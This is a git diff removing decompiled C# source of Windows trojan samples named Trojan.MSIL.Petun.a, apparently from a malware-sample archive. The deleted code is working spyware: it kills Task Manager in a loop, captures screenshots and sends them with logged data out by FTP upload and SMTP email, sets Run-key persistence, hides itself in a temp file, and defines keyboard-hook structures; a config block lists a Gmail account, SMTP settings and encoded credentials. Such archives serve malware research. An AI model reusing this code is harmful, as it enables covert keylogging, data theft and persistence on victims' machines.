- switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void VqenLGj() - { -label_0: - Module1.kzEHx(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.kzEHx(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void GEJgnuY() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string NQTLjNrbX, - ref string Dir, - ref string tVrESzRDH, - ref string NJUYmIKTc, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + NQTLjNrbX + Dir + str2, tVrESzRDH, NJUYmIKTc); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + NQTLjNrbX + Dir + str2 + ".gif", tVrESzRDH, NJUYmIKTc); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct Demzbv - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum unXFIc - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - JmRBwl = 35, // 0x00000023 - VVIuWs = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - PpdbVnk = 45, // 0x0000002D - gRKRvW = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - ZJUZWh = 162, // 0x000000A2 - kOdKQj = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.Demzbv lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyApplication.cs deleted file mode 100644 index 7479f0ad..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Connection, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F65524D0-7C63-44D9-A38F-EF6433627B3A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyComputer.cs deleted file mode 100644 index a0549370..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Connection, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F65524D0-7C63-44D9-A38F-EF6433627B3A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyProject.cs deleted file mode 100644 index a4dca846..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Connection, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F65524D0-7C63-44D9-A38F-EF6433627B3A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/ROS.cs deleted file mode 100644 index 1c3a4bb5..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: Connection, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F65524D0-7C63-44D9-A38F-EF6433627B3A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\uZXGtPFvK", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.ItmtYk, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 63529530..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {A9EDF1E0-6800-4733-B679-061B0CA6E051} - WinExe - Connection - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 207e364c..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Connection", "Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.csproj", "{A9EDF1E0-6800-4733-B679-061B0CA6E051}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {A9EDF1E0-6800-4733-B679-061B0CA6E051}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {A9EDF1E0-6800-4733-B679-061B0CA6E051}.Debug|Any CPU.Build.0 = Debug|Any CPU - {A9EDF1E0-6800-4733-B679-061B0CA6E051}.Release|Any CPU.ActiveCfg = Release|Any CPU - {A9EDF1E0-6800-4733-B679-061B0CA6E051}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/UDDppRZmO.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/UDDppRZmO.cs deleted file mode 100644 index 7eaf40b2..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c/UDDppRZmO.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: UDDppRZmO -// Assembly: Connection, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F65524D0-7C63-44D9-A38F-EF6433627B3A -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-977e5a5985bc60eaa8847c974db5b1ba17cbedf92d46b90cb12614fcd978638c.exe - -using System; -using System.Threading; - -internal class UDDppRZmO : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public UDDppRZmO(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Module1.cs deleted file mode 100644 index def9300a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: location, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2581C692-B5AA-43C2-BA98-7310E426099B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-984de5c73bb82fbf23f5665d87b40ce9e3e8e9cd72bab4b99013d8ac88cbc87d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool jJYQB = false; - private static bool mBwfs = false; - private static bool PrLpO = false; - private static bool lEmKt = false; - private static bool ixFHQ = false; - private static bool uBUcR = false; - private static string whovM = "20"; - private static string umLoT = "AaD"; - private static int ypDNv = 4; - private static string TfIbH = "wMQT"; - public static string tnGDa = "CurrentUser"; - private static string pHIden = "Melt"; - private static string rzpVQR = "UddbgELSwJ"; - private static string KvMQSK = "iexplorer.exe"; - private static string SDDate = "12/13/2011"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = true; - private static bool NoEL = true; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool fWNalU = false; - private static string RyQDHg = "http://www.exampleserver.com/directfile.exe"; - private static bool UsxuGJ = false; - private static string mCVoID = "setup.exe"; - private static bool JJYcfXvL = true; - private static bool swyqQsXID = false; - private static string ZBXjxfwim = "LHs1gVoZGRA="; - private static string GIcFKYiDQ = "ftp.exampleserver.com"; - private static string ebmpFabku = "LHs1gVoZGRA="; - private static string NOMRCuDgt = "/"; - private static string jTgGGhpC = "smtp.gmail.com"; - private static string Yqawgrwt = "JYsZZJIOJxjyU/+8NjO4+JdcljplhB8b"; - private static string yBhnHPFk = "g8QTyjaO2rpi+yk4we/uHw=="; - private static string ZZofhZyb = "langtungheo1@gmail.com"; - private static string BjiWWxGS = "587"; - private static string btqNwINK = "----[ "; - private static string CRxEXfVB = " ]----"; - private static bool qbrvxpPr; - private static bool RzzmZzWi; - private static bool rKHdzYea = false; - private static bool ZpIcvpf = false; - private static bool JnzzPTW = 